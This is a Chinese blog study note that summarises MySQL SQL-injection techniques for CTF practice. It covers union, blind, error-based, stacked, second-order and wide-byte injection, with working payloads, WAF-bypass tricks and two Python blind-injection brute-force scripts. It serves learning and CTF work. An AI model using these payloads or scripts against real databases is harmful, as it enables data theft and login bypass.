美文网首页sql注入
学习笔记——从头学sql注入

学习笔记——从头学sql注入

作者: byc_404 | 来源:发表于2020-01-22 13:17 被阅读0次

    一直以来做着sql注入的题,但除了简单的注入比较熟悉以外其他类型的方法以及bypass技巧都一直没有长进。盲注也是自己嫖脚本的次数比亲手写要多。可能是因为自己没有系统学过sql基础知识,导致只会生搬硬套。又也许是因为没有做过系统的总结,或者是因为遇到的题目太少,或是遇到不会做就落下了......总之,现在要从头开始学一遍sql注入,重新接触这常年位于漏洞之首的巨头吧。
    (至少sqli-labs要重新做下了)

    先把参考的dalao们的笔记贴一下,感谢他们辛苦做出的整理:
    郁师傅推荐的,smi1e的blog:https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/
    sky师傅的blog:https://skysec.top/2017/07/19/sql%E6%B3%A8%E5%85%A5%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%8E%9F%E7%90%86/
    CHYbeta的blog:https://github.com/CHYbeta/Web-Security-Learning#sql%E6%B3%A8%E5%85%A5
    mysql注入天书(从学习交流群里嫖来的......)
    等等

    以下皆是基于常见的mysql,除此以外的mssql,postgresql,mongodb等等在CHYbeta的github上可以找到

    基础使用

    sql注入的原理在我个人看来,主要是恶意语句的插入。当过滤不彻底,或者根本没有过滤时,我们的语句通过拼接,或者是经过处理后,在服务器解析并执行,达到攻击的效果。

    那么先来看看在sql中常见的函数或符号吧吧:

    user() :当前使用者的用户名
    database():当前数据库名
    version():数据库版本
    datadir:读取数据库的绝对路径
    concat()/concat_ws():多个字符串连接成几个字符串
    group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据//常见于注入
    
    //常见于布尔盲注
    length():返回字符串的长度
    substr():截取字符串
    mid():截取字符串
    ascii():返回字符的ascii码
    
    //常见于时间盲注
    sleep(): 函数延迟代码执行若干秒
    
    //用于注释的符号,或者效果等同于注释的
    #
    --+
    or '1'='1//闭合单引号
    or ''1'' =''1 闭合双引号,以此类推
    

    在进行注入前,首先是确认注入点的存在。其中有无回显,回显为何都是重要的用于判断我们注入类型的依据,之后才能根据类型进行注入方式的选择。

    常见的几种注入方法:

    一.联合注入

    联合注入的特点在于使用了union,需要注意的是union后所接的select 语句列数要相同。
    使用联合注入时必然需要注意这是有回显的,且我们需要先判断字段数以及具体回显的字段是哪一个。
    先试用order by来判断。这里假设是三个字段以及回显的是第二个字段。

    order by 3#
    

    order by可能会面临过滤‘or’时恰好被限制的问题,此时可以使用group by替代。

    爆库

    union select 1,databse(),3#
    

    爆表

    union select 1,(select group_concat(table_name)),3 from information_schema.tables where table_schema=database()#
    

    database()也可使用schema()代替
    爆列

    union select 1,(select group_concat(column_name)),3 from information_schema.columns where table_name='表名'#
    

    这里的表名当然也可以不用直接名称,转而使用16进制代替。

    二.盲注

    1.布尔盲注

    布尔盲注,顾名思义返回值能确认的只有布尔值true or false。也就是我们只知道正确与否而不知具体数值。
    但正因我们可以确定注入的正确与否,我们就可以用逻辑判断来进行注入
    盲注的几种手法:
    1)left()函数,left(a,b)从左侧截取 a 的前 b 位
    使用方法:

    left(database(),1)>’s’ 
    

    2)ascii()+substr()函数
    ascii()不必多说,
    substr():substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
    使用方法:

    ascii(substr((select database()),1,1))=98
    

    最适合写脚本。其中只有第一个1与等号后的数字需要设为变量。
    3)regexp()正则判断
    regexp()就是正则匹配,看起来也十分简洁。
    使用方法:

    select user() regexp('^ro')
    

    返回布尔值1 或0.

    显然在一无所知的情况下,使用第二种布尔盲注方法一个个字符的爆出结果是合乎情理的。但人手直接测还是麻烦的,因此需要写脚本来爆破。
    大致脚本模板如下:

    import requests
    
    url=''
    flag=''
    for i in range(1,40):
        a=0
        for j in range(32,128):
            payload="1' or ascii(substr((select flag from flag),{0},1))={1}#"
            data=payload.format(i,j)
            res=requests.post(url,data=data)#data依据可注入点而定
            if('abc' in res.text)#此处依照正确的回显内容而定
            flag+=chr(j)
            print(flag)
            a=1
        if a==0: break
    

    一个简易的布尔盲注脚本大概如上。

    2.时间盲注

    时间盲注相比布尔盲注更加困难,因为其返回值永远只有一个,且没有注入回显信息。
    关键函数除了上面布尔盲注就已提到的ascii()+substr()就是sleep()if()函数了
    用法:
    sleep(a)直接把程序挂起a秒
    if(a,b,c)如果第一个参数正确,执行第二个参数,否则执行第三个
    直接贴脚本模板吧:

    for i in range (1,30):
        print(i)
        a=0
        payload="1' or select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)#"
        for j in range(0,128):
            data={'username':payload.format(i,j),'password':'123'}
            try:
                result=requests.post(url,data=data,timeout=3)
            except requests.exceptions.ReadTimeout:
                flag+=chr(j)
                print(flag)
                a=1
                break
         if a==0: break
    
    

    时间盲注脚本大抵如上。

    三.报错注入

    报错注入的原理在于把所需要注出的信息通过报错信息返回来。方法也有多种
    1.floor()函数
    其使用为floor(rand(0)*2),而具体上使用还要联系group byconcat()

    select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
    

    这里concat(),floor(),group by缺一不可。且数据表需要三条及以上数据才能报错。故确实太局限了。
    2.updatexml()函数
    直接贴用法:

    updatexml(1,concat(0x7e,(select @@version),0x7e),1) 
    

    如果亲自用过报错注入,就知道中间的0x7e并没有什么用。实际上就是~符号的16进制,方便分割而已。中间所需的结果被转成字符串后因为不符合XPATH格式从而报错。
    3.extractvalue()函数
    与上面大抵相同。只不过只有两个参数

    extractvalue(1,concat(0x7e,(select @@version),0x7e))
    

    但是存在一个小细节,那就是这个方法只能爆出32位。之前在ichunqiu的XSS平台这道题中使用了报错注入,有个小问题就是当时的内容过长一次性爆不完。因此引入一个mid()函数。每次爆一部分即可。
    用法大抵如下:

    ' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),29,60))) --
    

    进阶注入

    当然,以上只是所有sql注入中最普通的方法。但我个人认为其他类型的注入都只是在这之上增加waf等等限制,其解决方法还是得以上面的联合注入,盲注,报错注为主。为了应对各种限制,也诞生了许多的bypass技巧。我当然不可能全部收集完全,但是还是得把最近新学到的,可能算是比较进阶的类型及方法整理下:

    工欲善其事必先利其器,首先先把常见的waf以及相应的bypass技巧梳理下:
    1.注释符 绕过

    //, -- , /**/, #, --+, -- -, ;,%00,--a
    

    其中为了绕空格常用/**/

    2.大小写绕过

    Union/**/SelEct
    

    3.内联注释绕过

    id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
    

    4.双写绕过

    1 uniunionon selselectect flag from flag
    

    主要是应对低级waf

    5.编码(ascii/16进制/url编码)
    这个方法就比较经典且高级了。也常常见到过,比如%23#
    包括常见的16进制。
    以及用chr()+chr()+chr()形式的绕过。

    6.面对空格
    空格被过滤是常有的,而除了常见的/**/ ,+,一些技巧外,我们可行的用于绕空格的方法主要是:

    %20 %09 %0a %0b %0c %0d %a0 
    

    还可以利用括号来省空格。因为可计算结果的语句都可用括号括起来。比如:select user() from可以化作select(user())from

    7.同效果函数

    sleep()<==>benchmark()
    concat_ws()<==>group_concat()//还是有区别的,但是效果一致
    mid()、substr() <==> substring()
    

    以及面对常常过滤的 and or 直接用&& ||
    很多师傅脚本都直接用这些替代了使用and ,or的习惯。

    附上smi1e师傅博客里找的图。 绕过

    接下来就是一些最近接触的或者是比较进阶的注入类型了,有的应该会是一段时间的热门吧。

    堆叠注入

    了解到堆叠注入主要还是得靠swpuctf的web4。这道题硬要说的话还是给了我很大收获,那就是利用16进制加mysql预处理来解题。目前我觉得常规的waf这种做法是都可以应对的。
    比如为了验证这个道理,我在buuoj上找到了另一道堆叠注入题强网杯2019——随便注。我看网上大部分人的paylaod都是骚姿势:

    先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)

    好麻烦啊......但是用从swpu那学来的方法:

    set @a=0x{0};PREPARE ctftest from @a;execute ctftest;
    

    这个模板简单多了,题目5分钟以内就能搞定。


    flag

    回头整理下堆叠注入的使用条件。首先得声明,堆叠注入的使用条件十分有限,因为大部分sql语句并不支持一次执行多条命令。从源码角度讲就是使用了mysqli_ query()函数。而只有使用mysqli_multi_query()函数时,才会出现堆叠注入的可能。具体FUZZ时如果注意到分号的使用回显是正确的,就可能存在堆叠注入。

    二次注入

    所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。因此它是存储型的利用。在第一次进行数据库插入数据的时候,如果仅仅只是使用了addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,那么在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。可以让我们进行再利用。

    比如在注册界面,如果我们注册一个名为 admin'#的用户,并登录进去。这时修改密码时,我们无需admin的密码即可修改admin的密码。因为之前的注册已经往表里插入了新数据,也就是admin'#,而修改密码时,语句为

    UPDATEusers SET PASSWORD=’22′ where username=’test’#‘ and password=’$curr_pass’
    

    也就绕过了密码的要求。

    后续找到合适的题目会再贴里面。
    补:
    CISCN2019 CyberPunk(二次注入触发报错)

    无列名注入

    在上一篇文章总结过了。这里就贴下方法吧。

    select `4` from (select 1,2,3,4,5,6 union select * from users)a;
    
    select b from (select 1,2,3 as b,4,5 union select * from users)a;
    

    join注入

    1’ union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where table_schema=database()) b%23
    

    join的使用主要是应对着过滤逗号的情况,之前bugku上做过就叫Insert into注入。
    假如用到盲注的话

    select case when (条件) then 代码1 else 代码 2 end;
    

    其效果相当于sql中的if,比如在进行时间盲注时:

    if(substring((select user()) from {0} for 1)={1},sleep(5),1)
    

    相当于

    select case when substring((select user()) from {0} for 1)={1} then sleep(5) else 1 end
    

    无information_schema注入

    同样是在swpu 的web1中学到了这个应对bypass information_schema的可能方法。不过有版本要求。使用
    sys.schema_auto_increment_columns
    代替
    实际上比较常见的是下面的这种,但都需要mysql5.7以上版本:

    MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了innodb_table_stats 和innodb_index_stats这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。

    如果waf掉了information我们可以利用这两个表注入数据库名和表名。
    还有冷门的,

    $schema_flattened_keys
    sys.schema_table_statistics;
    

    而且一旦出现不能使用information_schema.tables的情况,通常也得不到information_schema.columns的列名情况了。所以说之后直接使用无列名注入即可,不需要去刻意获取列名。

    宽字节注入

    宽字节注入算是我最早接触的sql注入了。cg-ctf上GBK-Injection就是这个类型
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
    之前我也写过wp
    https://www.jianshu.com/p/b9ccf447c152
    这是基于程序使用GBK宽字符集的前提下的。通常使用sqlmap都可以跑出来吧。

    大抵这么多。其实肯定还有遗漏的,但先写这么多,日后再补充吧。

    相关文章

      网友评论

        本文标题:学习笔记——从头学sql注入

        本文链接:https://www.haomeiwen.com/subject/yutezctx.html